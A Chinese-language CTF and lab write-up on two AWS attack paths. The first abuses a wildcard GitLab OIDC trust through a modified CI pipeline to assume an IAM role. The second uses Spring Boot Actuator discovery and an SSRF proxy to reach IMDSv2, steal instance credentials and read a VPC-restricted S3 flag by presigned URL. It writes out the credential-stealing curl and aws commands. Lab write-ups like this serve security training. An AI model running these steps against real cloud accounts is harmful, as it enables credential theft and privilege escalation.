【Pwnedlabs&WIZ】Abuse OpenID Connect and GitLab for AWS Access & Perimeter Leak
Abuse OpenID Connect and GitLab for AWS Access
利用 GitLab OIDC 与 AWS 角色信任链实现权限提升
Real-world context
通过 OpenID Connect (OIDC) 将 GitLab 与 AWS 集成时,组织通常会配置 IAM 信任策略,允许其 GitLab 组或组织下的所有存储库进行角色代入(例如,使用类似 的通配符
project_path:my-org/*
)。虽然这可以简化 CI/CD 的入门,但可能会带来严重的安全漏洞。如果GitLab 组下的任何项目遭到入侵——无论是通过恶意贡献者、易受攻击的管道还是钓鱼的开发人员——攻击者都可以利用共享的 OIDC 信任来承担 AWS 角色。由于该角色被授予组织内的任何项目,因此攻击者无需访问最高权限或敏感的存储库——任何低权限或休眠的存储库都可能成为可行的攻击媒介。
以下事实加剧了这种风险:
- AWS 账户 ID 是公开的,很容易被发现。
- 无需用户交互,即可在 CI 作业中生成来自 GitLab 的 OIDC 令牌。
- GitLab 不会在 AWS 级别强制执行细粒度的控制 -这取决于信任策略来限制范围。
为了解决这些模式的广泛滥用问题,AWS于 2025 年 6 月更新了其 IAM 行为,要求默认安全条件。信任共享 OIDC 提供商(例如 )的新角色或已修改的角色必须验证和 等
gitlab.com
**声明sub aud
**,否则 API 调用将失败。
入口只给了一个AK/SK
初始信息收集
aws sts get-caller-identity
查看一下当前的用户信息
1 | { |
然后运行aws iam list-attached-user-policies --user-name pentester
与aws iam list-user-policies --user-name pentester
想要查看一下当前用户有什么托管策略和内联策略
1 | yliken@LAPTOP-40PQI58C:~/aws$ aws iam list-attached-user-policies --user-name pentester |
但是当前用户并没有查看这些策略的权限
可以使用开源命令行工具CloudFox来获取此 AWS 环境中的态势感知。并获取尽可能多的信息以查找潜在的攻击路径和错误配置。
CloudFox 是由 Bishop Fox 团队开发的开源云安全评估工具。它能够自动收集和分析云环境中的资源信息、IAM 用户和角色,并进行权限分析和潜在权限提升检测。虽然主要针对 AWS 平台,但它也支持对其他云平台的安全评估,帮助安全专业人员快速识别跨云环境中的风险。
扫描完成之后就会将结果保存到家目录下
这里我们只关心用户权限的结果
除了AWS管理账户外有三个用户bob
louise
pentester
1 | yliken@LAPTOP-40PQI58C:~/.cloudfox/cached-data/aws/573909305106$ cat 573909305106-iam-ListUsers.json |
除了AWS内置的角色之外
还有engineering
gitlab_terraform_deploy
OrganizationAccountAccessRole
这是哪个角色
engineering
显示 bob
和 louise
可以扮演此角色
gitlab_terraform_deploy
允许 GitLab 通过 OIDC Web Identity Token 扮演角色
OrganizationAccountAccessRole
允许 AWS Organizations 根账号或主账号跨账户访问
1 | yliken@LAPTOP-40PQI58C:~/.cloudfox/cached-data/aws/573909305106$ cat 573909305106-iam-ListRoles.json |
发现攻击路径:GitLab OIDC 信任角色
可以使用 aws iam get-role --role-name gitlab_terraform_deploy
命令获取到该 IAM 角色的详细信息,包括角色 ARN、创建时间、权限策略、信任关系等。
1 | yliken@LAPTOP-40PQI58C:~/.cloudfox/cached-data/aws/573909305106$ aws iam get-role --role-name gitlab_terraform_deploy |
该 IAM 角色 gitlab_terraform_deploy
专门为 GitLab CI/CD 配置,允许 GitLab 项目通过 OIDC 身份验证临时扮演该角色执行操作。角色信任策略限制了访问主体为 GitLab 的 OIDC 提供者,并仅允许 huge-logistics
下的项目使用,同时要求 token 的 audience 为 https://gitlab.com
。角色最大会话时长为 1 小时,用于控制临时凭证的有效期,从而保证安全性和最小权限原则。
在 AWS 中,OIDC提供商允许外部身份验证用户代入 IAM 角色,从而实现身份联合。
什么是 OpenID Connect (OIDC)?
这是一个基于 OAuth 2.0 构建的身份验证协议,允许应用程序根据身份提供商 (IdP) 执行的身份验证来验证用户身份。在 AWS 中,OIDC 通常用于集成第三方身份提供商(例如 Google、Okta、GitLab 或 GitHub)以承担 AWS IAM 角色并访问 AWS 资源。
利用 GitLab CI/CD 获取临时凭证
同时题中还提供了一个gitlab账户
该账户中有一个代码仓库是属于huge-logistics
组的
我们可以进入到这个仓库settings -> CI/CD -> Variables
然后加上三个变量
然后在代码仓库中选择WEBIDE对仓库中的.gitlab-ci.yml
内容进行修改
将.gitlab-ci.yml
内容修改成
1 | variables: |
之后将它推送到main分支
.gitlab-ci.yml
是 GitLab CI/CD 的核心配置文件,用于定义项目的 自动化流程(Pipeline)。它通常放在项目根目录下。该文件的作用有 定义 Pipeline、 自动化构建/测试/部署、 统一管理 DevOps 流程。
然后导航到build -> Jobs
中就可以看到运行日志了
我们已经成功的承担了gitlab_terraform_deploy 角色
再将.gitlab-ci.yml
文件的内容改成
1 | variables: |
推送到main之后在看日志的话是可以看到有一个huge-logistics-engineering-db3ba0baab43
存储桶的
然后修改.gitlab-ci.yml
文件的script
部分。 改成aws s3 ls s3://huge-logistics-engineering-db3ba0baab43
来查看桶中内容
修改.gitlab-ci.yml
文件
1 | variables: |
在构建完成后 可以在日志页面下载桶中内容
在backup.txt
中有着louise
用户的AKsK
地区信息可以curl访问刚才的存储桶获得
横向移动:从 louise 到 engineering 角色
配置好AKSK之后执行aws sts get-caller-identity
我们现在已经获取到了louise的权限
1 | yliken@LAPTOP-40PQI58C:~/.cloudfox/cached-data/aws/573909305106$ aws sts get-caller-identity --profile louise |
查看一下权限策略
1 | yliken@LAPTOP-40PQI58C:~/.cloudfox/cached-data/aws/573909305106$ aws iam list-attached-user-policies --user-name louise |
前面提到 bob
和 louise
可以扮演 engineering
这个角色
承担engineering这个角色 aws sts assume-role --role-arn arn:aws:iam::770926735562:role/engineering --role-session-name newlouise --profile louise
1 | yliken@LAPTOP-40PQI58C:/mnt/c/Users/legion/Downloads/artifacts (2)$ aws sts assume-role --role-arn arn:aws:iam::770926735562:role/engineering --role-session-name newlouise --profile louise |
配置好AKSK之后 ,确实我们已经成功承担了该角色
1 | yliken@LAPTOP-40PQI58C:/mnt/c/Users/legion/Downloads/artifacts (2)$ aws sts get-caller-identity --profile newlouise |
进一步渗透:获取 bob 的凭证
然后使用aws-enumerator枚举一下权限
1 | yliken@LAPTOP-40PQI58C:~/go/bin$ aws ec2 describe-instances --region us-west-2 --profile newlouise |
存在一台主机10.1.20.57
然后就可以使用从gitlab获取到的密钥文件登录到机器上面
在这台主机上面并没有找到有用的信息
接下来可以尝试访问aws的元数据中心
1 | louise@ip-10-1-20-57:~$ curl http://169.254.169.254/latest/meta-data |
收到 401 未授权错误,则表示 IMDSv2 已启用。IMDSv1 不需要身份验证。
在DescribeInstances
之前操作的输出中也可以验证这一点。
1 | TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` \ |
Instance Metadata Service v2(IMDSv2)是 AWS 为 EC2 实例元数据访问引入的更安全的版本,用来减少通过 SSRF 等漏洞窃取实例临时凭证的风险。与早期的 IMDSv1 不同,IMDSv2 采用基于会话的访问:客户端先向
http://169.254.169.254/latest/api/token
发起一次PUT
请求并携带X-aws-ec2-metadata-token-ttl-seconds
以获取短期 session token,随后所有 metadata 请求都必须在头部带上X-aws-ec2-metadata-token: <token>
。这种两步走的设计(需要自定义方法和头部)以及可配置的 hop limit 大幅降低了简单 GET-only SSRF 的攻击成功率。虽然不是对所有高级攻击都万无一失,但 IMDSv2 显著提高了实用安全性;生产环境推荐通过实例元数据选项将http-tokens
设为required
,强制只接受 IMDSv2 请求。
输出中没有iam
类别,因此该实例没有附加 IAM 实例角色。可以尝试检查一下user-data
1 | louise@ip-10-1-20-57:~$ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data |
在这里泄露了bob
的AKSK
配置好AKSK之后到这里就已经获取到了bob
的权限了
1 | yliken@LAPTOP-40PQI58C:~/.cloudfox/cached-data/aws/770926735562$ aws sts get-caller-identity --profile bob |
1 | yliken@LAPTOP-40PQI58C:~/.aws$ aws iam get-policy-version --policy-arn arn:aws:iam::770926735562:policy/engineering --version-id v1 --profile newlouise |
查看名为’engineering’的IAM策略的具体权限内容 engineering角色具有iam:ListAttachedUserPolicies, iam:ListAttachedRolePolicies, iam:GetPolicy, iam:GetPolicyVersion
权限
1 | yliken@LAPTOP-40PQI58C:~/.aws$ aws iam get-policy-version --policy-arn arn:aws:iam::770926735562:policy/engineering --version-id v1 --profile newlouise |
然后使用engineering角色的权限(即前文的newlouise用户)来列出 bob 所附加的 IAM 策略。
1 | yliken@LAPTOP-40PQI58C:~/.cloudfox/cached-data/aws/770926735562$ aws --profile newlouise iam list-attached-user-policies --user-name bob |
1 | yliken@LAPTOP-40PQI58C:~/.cloudfox/cached-data/aws/770926735562$ aws --profile newlouise iam get-policy-version --policy-arn arn:aws:iam::770926735562:policy/ReadSecretsManager --version-id v1 |
然后使用bob的身份列出secret
1 | yliken@LAPTOP-40PQI58C:~/.cloudfox/cached-data/aws/770926735562$ aws --profile bob secretsmanager list-secrets |
使用bob的权限查看sercet
1 | yliken@LAPTOP-40PQI58C:~/.cloudfox/cached-data/aws/770926735562$ aws --profile bob secretsmanager get-secret-value --secret-id flag_1cd5667c10d8 |
总结
WIZ云安全锦标赛-Perimeter Leak
Spring Boot Actuator端点
最开始在env里面找到了一条消息, 有一个spring boot站点
目录扫描一下,/actuator
系列是 Spring Boot Actuator 的端点
1 | yliken@LAPTOP-40PQI58C:/mnt/c/Users/legion$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/env|jq . |
在/actuator/env
中找到了一个桶
尝试匿名访问这个桶,没权限访问
在这个网站的默认页面,有提示Welcome to the proxy server
SSRF
在/actuator/mappings
里面有/proxy
路由的信息
可以尝试在/proxy
页面使用ssrf访问aws元数据
获取EC2实例角色临时凭证
页面401启用了IMDSv2
1 | yliken@LAPTOP-40PQI58C:/mnt/c/Users/legion$ TOKEN=$(curl -X PUT "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") && \ |
访问iam中心获取一组AKSK
1 | yliken@LAPTOP-40PQI58C:/mnt/c/Users/legion$ TOKEN=$(curl -X PUT "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") && curl -H "X-aws-ec2-metadata-token: $TOKEN" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368" |
访问刚才获取的那个桶,可得到地区信息
1 | yliken@LAPTOP-40PQI58C:/mnt/c/Users/legion$ curl -I https://challenge01-470f711.s3.amazonaws.com/ |
尝试直接访问S3失败
将其在AWSCLI中配置好访问刚才那个桶,有flag 但是没办法读取内容
hello.txt里面仅有一句话
使用aws-enumator
枚举一下
没什么用。
列出存储桶策略
1 | yliken@LAPTOP-40PQI58C:~/.cloudfox/cached-data/aws/092297851374$ aws s3api get-bucket-policy --bucket challenge01-470f711 --profile wizone --query "Policy" --output text | jq . |
这个策略的内容是: 桶 challenge01-470f711
下 private/
文件夹的对象,除非请求来自 VPC 终端节点 vpce-0dfd8b6aa1642a057
,否则所有人都不能读取。
获取flag
也就是我们需要通过VPC去读取flag
那么现在是目标就是 通过proxy服务器
访问读取存储桶中的flag
S3预签名
AWS S3 的 预签名 URL(Pre-signed URL) 是一种临时授权机制,它允许用户在 不拥有 AWS 访问权限的情况下访问特定的 S3 对象(文件)。简单来说,它是一种带有时间限制的“临时密钥”,可以安全地分享 S3 文件。
生成预签名URL
1 | yliken@LAPTOP-40PQI58C:~/.cloudfox/cached-data/aws/092297851374$ aws s3 presign s3://challenge01-470f711/private/flag.txt --profile wizone |
在进行访问之前需要进行url编码
然后访问